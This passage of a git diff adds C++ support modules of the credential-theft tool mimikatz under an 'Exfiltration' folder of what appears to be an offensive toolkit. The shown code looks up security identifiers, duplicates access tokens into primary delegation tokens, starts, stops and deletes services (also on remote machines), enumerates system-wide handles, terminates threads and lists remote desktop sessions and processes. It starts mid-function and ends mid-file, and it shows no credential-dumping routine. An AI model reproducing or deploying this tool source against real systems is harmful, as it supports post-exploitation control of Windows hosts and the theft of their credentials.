+ wchar_t * monNom = new wchar_t[dwSizeName]; + wchar_t * monDomain = new wchar_t[dwSizeDomain]; + if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0) + { + strName->assign(monNom); + if(domainName) + domainName->assign(monDomain); + + if(usage) + *usage = nameUse; + } + delete[] monDomain; + delete[] monNom; + } + + return reussite; +} + +bool mod_secacl::simpleSidToString(PSID Sid, wstring * String) +{ + wstring userName; + wstring domaineName; + String->clear(); + + if(Sid) + { + if(mod_secacl::sidToName(Sid, &userName, &domaineName)) + { + String->assign(domaineName); + String->push_back(L'\\'); + String->append(userName); + } + else + mod_secacl::sidToStrSid(Sid, String); + } + if(String->empty()) + String->assign(L"(null)"); + + return true; +} + +bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD szNeeded = 0; + if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + BYTE * mesDonnees = new BYTE[szNeeded]; + if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded)) + { + TOKEN_USER * monUser = reinterpret_cast<TOKEN_USER *>(mesDonnees); + reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage); + } + delete[] mesDonnees; + } + + return reussite; +} + +bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle) +{ + bool reussite = false; + HANDLE secToken; + if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0) + { + CloseHandle(*tokenHandle); + *tokenHandle = secToken; + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h new file mode 100644 index 0000000..5e8aa04 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <aclapi.h> +#include <sddl.h> + +using namespace std; + +class mod_secacl +{ +public: + static bool simpleSidToString(PSID Sid, wstring * String); + static bool sidToStrSid(PSID Sid, wstring * strSid); + static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT); + static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + + static bool exchangeDupToken(HANDLE * tokenHandle); + static bool addWorldToMimikatz(SC_HANDLE * monHandle); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp new file mode 100644 index 0000000..c234481 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp @@ -0,0 +1,142 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_service.h" + +bool mod_service::getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName) // machine non implment +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE)) + { + DWORD tailleRequise = 0; + DWORD nbServices = 0; + DWORD resumeHandle = 0; + + if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA) + { + BYTE * servicesBuff = new BYTE[tailleRequise]; + ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast<ENUM_SERVICE_STATUS_PROCESS *>(servicesBuff); + if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) + { + for(DWORD i = 0; i < nbServices; i++) + { + KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess}; + monVectorService->push_back(monService); + } + } + delete[] servicesBuff; + error = GetLastError(); + } + + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implment +{ + bool reussite = false; + + vector<KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<KIWI_SERVICE_STATUS_PROCESS>(); + if(getList(vectorServices, machineName)) + { + for(vector<KIWI_SERVICE_STATUS_PROCESS>::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++) + { + if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0)) + { + *monService = *monSvc; + break; + } + } + } + delete vectorServices; + + return reussite; +} + +bool mod_service::start(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START)) + { + if(!(reussite = StartService(monService, 0, NULL) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + + return reussite; +} + +bool mod_service::remove(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE)) + { + if(!(reussite = DeleteService(monService) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + +bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess)) + { + if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::stop(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName)); +} + +bool mod_service::suspend(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName)); +} + +bool mod_service::resume(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName)); +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.h b/Exfiltration/mimikatz-1.0/modules/mod_service.h new file mode 100644 index 0000000..b438454 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.h @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" + +class mod_service +{ +private: + static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL); + +public: + typedef struct _KIWI_SERVICE_STATUS_PROCESS + { + wstring serviceName; + wstring serviceDisplayName; + SERVICE_STATUS_PROCESS ServiceStatusProcess; + } KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS; + + static bool getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName = NULL); + static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL); + + static bool start(wstring * serviceName, wstring * machineName = NULL); + static bool suspend(wstring * serviceName, wstring * machineName = NULL); + static bool resume(wstring * serviceName, wstring * machineName = NULL); + static bool stop(wstring * serviceName, wstring * machineName = NULL); + + static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ? + + static bool add(wstring * binPath, vector<wstring> * arguments); // bla bla + static bool remove(wstring * serviceName, wstring * machineName = NULL); + static bool control(vector<wstring> * arguments); + +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp new file mode 100644 index 0000000..7a79a76 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp @@ -0,0 +1,208 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_system.h" + +OSVERSIONINFOEX mod_system::GLOB_Version; + +wstring mod_system::getWinError(bool automatique, DWORD code) +{ + bool reussite = false; + DWORD dwError = (automatique ? GetLastError() : code); + wostringstream resultat; + wchar_t * monBuffer = NULL; + + resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')'; + if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0)) + reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0; + + if(reussite) + { + resultat << L' ' << monBuffer; + LocalFree(monBuffer); + } + else resultat << L" * Impossible d\'obtenir un message *"; + + return resultat.str(); +} + +bool mod_system::getUserName(wstring * monUserName) +{ + bool reussite = false; + unsigned long tailleRequise = 0; + + if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0)) + { + monUserName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getComputerName(wstring * monComputerName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0)) + { + monComputerName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getVersion(OSVERSIONINFOEX * maVersion) +{ + RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX)); + maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + return (GetVersionEx(reinterpret_cast<LPOSVERSIONINFO>(maVersion)) != 0); +} + +bool mod_system::getCurrentDirectory(wstring * monRepertoire) +{ + bool reussite = false; + DWORD tailleRequise = GetCurrentDirectory(0, NULL); + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1) + { + monRepertoire->assign(monBuffer); + reussite = true; + } + delete monBuffer; + return reussite; +} + +bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse) +{ + bool reussite = false; + wchar_t monBuffer[MAX_PATH]; + + if(PathIsRelative(thisData.c_str())) + { + wstring monRep = L""; + if(reussite = getCurrentDirectory(&monRep)) + { + PathCombine(monBuffer, monRep.c_str(), thisData.c_str()); + reponse->assign(monBuffer); + } + } + else + { + if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0)) + { + reponse->assign(monBuffer); + } + } + return reussite; +} + +bool mod_system::isFileExist(std::wstring &fichier, bool *resultat) +{ + bool reussite = false; + HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE)) + { + CloseHandle(monFichier); + *resultat = true; + } + else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND)) + { + *resultat = false; + } + return reussite; +} + +bool mod_system::getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid) +{ + bool reussite = false; + + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { + DWORD size = 0x10000; + BYTE * monBuffer = new BYTE[size]; + ULONG sizeReturn = 0; + NTSTATUS status; + + while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH) + { + delete[] monBuffer; + size <<= 1; + monBuffer = new BYTE[size]; + } + + if(reussite = NT_SUCCESS(status)) + { + PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(monBuffer); + for(DWORD i = 0; i < mesInfos->HandleCount; i++) + { + if(!pid || *pid == mesInfos->Handles[i].ProcessId) + mesHandles->push_back(mesInfos->Handles[i]); + } + } + + delete[] monBuffer; + } + + return reussite; +} + +bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo) +{ + bool reussite = false; + + if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast<PNT_QUERY_OBJECT>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject"))) + { + DWORD tailleRequise = 0; + + if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH) + { + *buffer = new BYTE[tailleRequise]; + if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise)))) + { + delete[] buffer; + } + } + } + + return reussite; +} + +bool mod_system::getHandleType(HANDLE monHandle, wstring * strType) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation)) + { + POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast<POBJECT_TYPE_INFORMATION>(monBuffer); + strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getHandleName(HANDLE monHandle, wstring * strName) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation)) + { + PUNICODE_STRING typeName = reinterpret_cast<PUNICODE_STRING>(monBuffer); + strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.h b/Exfiltration/mimikatz-1.0/modules/mod_system.h new file mode 100644 index 0000000..7f41190 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ntddk.h" +#include <security.h> +#include <shlwapi.h> +#include <sstream> +#include <iomanip> + +class mod_system +{ +private: + static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo); + +public: + static wstring getWinError(bool automatique = true, DWORD code = 0); + + static bool getUserName(wstring * monUserName); + static bool getComputerName(wstring *monComputerName); + static bool getVersion(OSVERSIONINFOEX * maVersion); + + static bool isFileExist(std::wstring &fichier, bool *resultat); + static bool getCurrentDirectory(wstring * monRepertoire); + static bool getAbsolutePathOf(wstring &thisData, wstring *reponse); + static bool getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid = NULL); // type ?? + static bool getHandleType(HANDLE monHandle, wstring * strType); + static bool getHandleName(HANDLE monHandle, wstring * strName); + + static OSVERSIONINFOEX GLOB_Version; +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp new file mode 100644 index 0000000..98de950 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp @@ -0,0 +1,101 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_text.h" + +PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast<PRTL_INIT_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString")); +PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); + +wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur) +{ + wostringstream monStream; + for(DWORD j = 0; j < maTaille; j++) + { + monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j]; + if(longueur != 0) + { + monStream << L' '; + if ((j + 1) % longueur == 0) + monStream << endl; + } + } + return monStream.str(); +} + +wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne) +{ + wstring result; + if(monTab && maTaille > 0) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/; + if(IsTextUnicode(monTab, maTaille, &flags)) + { + result.assign(reinterpret_cast<const wchar_t *>(monTab), maTaille / sizeof(wchar_t)); + } + else + { + if(ligne) + result.assign(L"\n"); + result.append(stringOfHex(monTab, maTaille, longueur)); + } + } + else result.assign(L"<NULL>"); + + return result; +} + +void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[]) +{ + wstringstream z; + unsigned int temp; + for(size_t i = 0; i < maChaine.size() / 2; i++) + { + z.clear(); + z << maChaine.substr(i * 2, 2); z >> hex >> temp; + monTab[i] = temp; + } +} + +bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix) +{ + if(str && suffix) + { + size_t str_len = wcslen(str), suffix_len = wcslen(suffix); + return wstr_ends_with(str, str_len, suffix, suffix_len); + } + return false; +} + +bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len) +{ + if(str && suffix && (suffix_len <= str_len)) + return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0); + return false; +} + +wstring mod_text::stringOfSTRING(UNICODE_STRING maString) +{ + return wstring(maString.Buffer, maString.Length / sizeof(wchar_t)); +} +string mod_text::stringOfSTRING(STRING maString) +{ + return string(maString.Buffer, maString.Length); +} + +void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]) +{ + RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t)); + RtlInitUnicodeString(LsaString, monBuffer); +} + +LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart) +{ + LUID monLUID = {0, 0}; + wstringstream z; + z << highPart; z >> monLUID.HighPart; + z.clear(); + z << lowPart; z >> monLUID.LowPart; + return monLUID; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.h b/Exfiltration/mimikatz-1.0/modules/mod_text.h new file mode 100644 index 0000000..aeadd95 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.h @@ -0,0 +1,31 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <sstream> +#include <iomanip> + +using namespace std; + +class mod_text +{ +public: + static PRTL_INIT_STRING RtlInitString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + + static wstring stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 0); + static wstring stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 32, bool ligne = true); + static void wstringHexToByte(wstring &maChaine, BYTE monTab[]); + + static wstring stringOfSTRING(UNICODE_STRING maString); + static string stringOfSTRING(STRING maString); + + static bool wstr_ends_with(const wchar_t * str, const wchar_t * suffix); + static bool wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len); + + static void InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]); + static LUID wstringsToLUID(wstring &highPart, wstring &lowPart); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp new file mode 100644 index 0000000..d57b4f4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_thread.h" + +bool mod_thread::getList(vector<THREADENTRY32> * monVecteurThreads, DWORD * processId) +{ + bool reussite = false; + + HANDLE hThreadsSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if(hThreadsSnapshot != INVALID_HANDLE_VALUE) + { + THREADENTRY32 monThread; + monThread.dwSize = sizeof(THREADENTRY32); + + if(reussite = (Thread32First(hThreadsSnapshot, &monThread) != 0)) + { + do + { + if(!processId || (*processId == monThread.th32OwnerProcessID)) + monVecteurThreads->push_back(monThread); + } while(Thread32Next(hThreadsSnapshot, &monThread)); + } + CloseHandle(hThreadsSnapshot); + } + + return reussite; +} + +bool mod_thread::suspend(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + SuspendThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::resume(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + ResumeThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::stop(DWORD & threadId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_TERMINATE, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + TerminateThread(monHandle, exitCode); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::quit(DWORD & threadId) +{ + return PostThreadMessage(threadId, WM_QUIT, NULL, NULL) != 0; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.h b/Exfiltration/mimikatz-1.0/modules/mod_thread.h new file mode 100644 index 0000000..a2f62f9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <tlhelp32.h> + +class mod_thread +{ +public: + static bool getList(vector<THREADENTRY32> * monVecteurThreads, DWORD * processId = NULL); + + static bool suspend(DWORD & threadId); + static bool resume(DWORD & threadId); + static bool stop(DWORD & threadId, DWORD exitCode = 0); + static bool quit(DWORD & threadId); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp new file mode 100644 index 0000000..97c5fb0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp @@ -0,0 +1,106 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_ts.h" + +bool mod_ts::openServer(HANDLE * phServer, wstring * server, bool testIt) +{ + bool reussite = false; + + if(reussite = !server) + { + *phServer = WTS_CURRENT_SERVER_HANDLE; + } + else + { + wchar_t * serverName = _wcsdup(server->c_str()); + *phServer = WTSOpenServer(serverName); + delete[] serverName; + reussite = *phServer != NULL; + } + return reussite; +} + +bool mod_ts::closeServer(HANDLE hServer) +{ + if(hServer != WTS_CURRENT_SERVER_HANDLE) + WTSCloseServer(hServer); + + return true; +} + +bool mod_ts::getSessions(vector<KIWI_WTS_SESSION_INFO> * mesSessions, wstring * server) +{ + bool reussite = false; + + PWTS_SESSION_INFO tabSessions; + DWORD nbSessions = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateSessions(hServer, 0, 1, &tabSessions, &nbSessions) != 0) + { + for(DWORD i = 0; i < nbSessions; i++) + { + KIWI_WTS_SESSION_INFO a = {tabSessions[i].SessionId, tabSessions[i].State, tabSessions[i].pWinStationName}; + mesSessions->push_back(a); + } + WTSFreeMemory(tabSessions); + } + closeServer(hServer); + } + + return reussite; +} + +bool mod_ts::getProcesses(vector<KIWI_WTS_PROCESS_INFO> * mesProcesses, wstring * server) +{ + bool reussite = false; + + PWTS_PROCESS_INFO tabProcess; + DWORD nbProcess = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateProcesses(hServer, 0, 1, &tabProcess, &nbProcess) != 0) + { + for(DWORD i = 0; i < nbProcess; i++) + { + KIWI_WTS_PROCESS_INFO a = { + tabProcess[i].SessionId, + tabProcess[i].ProcessId, + tabProcess[i].pProcessName + }; + + wstring user; + wstring domain; + if(mod_secacl::sidToName(tabProcess[i].pUserSid, &user, &domain, server)) + { + a.userSid.assign(domain); + a.userSid.push_back(L'\\'); + a.userSid.append(user); + } + else if(!mod_secacl::sidToStrSid(tabProcess[i].pUserSid, &a.userSid)) + { + if(tabProcess[i].pUserSid) + { + a.userSid.assign(L"erreur SID ; "); + a.userSid.append(mod_system::getWinError()); + } + else + a.userSid.assign(L"n.a."); + } + + mesProcesses->push_back(a); + } + WTSFreeMemory(tabProcess); + } + closeServer(hServer); + } + + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.h b/Exfiltration/mimikatz-1.0/modules/mod_ts.h new file mode 100644 index 0000000..6815bb8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.h @@ -0,0 +1,35 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" +#include "mod_system.h" +#include <wtsapi32.h> + +class mod_ts +{ +private: + static bool openServer(HANDLE * phServer, wstring * server = NULL, bool testIt = true); + static bool closeServer(HANDLE hServer); + +public: + typedef struct _KIWI_WTS_SESSION_INFO { + DWORD id; + DWORD state; + wstring sessionName; + } KIWI_WTS_SESSION_INFO, * PKIWI_WTS_SESSION_INFO; + + typedef struct _KIWI_WTS_PROCESS_INFO { + DWORD sessionId; + DWORD pid; + wstring processName; + wstring userSid; + } KIWI_WTS_PROCESS_INFO, * PKIWI_WTS_PROCESS_INFO; + + static bool getSessions(vector<KIWI_WTS_SESSION_INFO> * mesSessions, wstring * server = NULL); + static bool getProcesses(vector<KIWI_WTS_PROCESS_INFO> * mesProcesses, wstring * server = NULL); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp new file mode 100644 index 0000000..a54c5b7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + 